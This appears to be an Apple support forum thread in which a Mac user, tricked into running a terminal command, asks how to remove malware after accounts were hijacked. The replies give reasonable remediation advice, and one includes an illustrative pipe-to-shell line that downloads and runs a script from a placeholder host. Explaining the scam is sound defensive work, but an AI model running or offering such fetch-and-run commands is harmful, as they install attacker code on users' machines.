I may have installed a virus through terminal and need help with making sure its gone.

Looks like the moderator censored the commands you typed. But most of these types of attacks would have you type something rather obfuscated. Written to make it less likely to comprehend. Using various shell script techniques to obscure what they are actually doing. You need to be well versed in UNIX and shell scripting to grok what the script is doing.

In most cases, it's telling you to run the curl command which establishes a website connection. So something like curl https:// yadda.yadda.com/name_of_malicious_Script.sh | sh and the contents of the script file executes on your Mac. You would need to download the script and examine it to see what it does if you have the requisite skill set.

So what do you do now, you ask?

At this point backup your data. Re-install macOS and your apps and restore your data. Do NOT use Time Machine to restore your apps and data only your data. The apps could have been compromised. As well as items in your home directory Library file or even the global /Library. So the only way to be absolutely certain you got rid of it. Is to backup and wipe your Mac and re-install. I would go so far as to manually re-install all software and manually copy my Documents and other folders over from the backup. Using the automated Time Machine restore could restore the malware right back onto your Mac. Yes, unfortunately, this is days of hard tedious work.

You could use Time Machine but you need to restore from a point in time prior to the infection. Losing whatever data you had created / modifed in the mean time.

If you already wiped and reinstalled macOS but accounts kept getting hacked, the issue likely isn’t your Mac anymore, it’s your credentials.

Whatever you typed probably gave someone remote access or stole your passwords. They may have synced your logins from iCloud Keychain or a browser.

Here’s what you need to do: change every important password from a clean, trusted device (not the Mac) and enable 2FA everywhere (email first). Scan your email for suspicious forwarding rules or recovery methods. On the Mac, do a clean erase and reinstall again but this time don’t restore apps or settings from Time Machine, only copy files like docs and photos manually.

Treat all saved browser logins and Keychain entries as compromised.

maksymilian195 wrote:

I was tricked into typing this into my terminal this:

and after giving the permission through my password, couple hours later someone broke into my instagram account, after 2 days onto my X account, and after that my reddit account. First thing I did after seeing my instagram compromised, was reseting and erasing my mac, but then it kept happening onto X and today Reddit, I changed my passwords to these accounts but I wonder if the problem still lies in my mac. How do I make sure its gone?

[Edited by Moderator]

If your Apple ID has been compromised

If you think your Apple Account has been compromised - Apple Support

Contact Apple for help with Apple ID account security - Apple Support

Contact Apple Support - Apple Support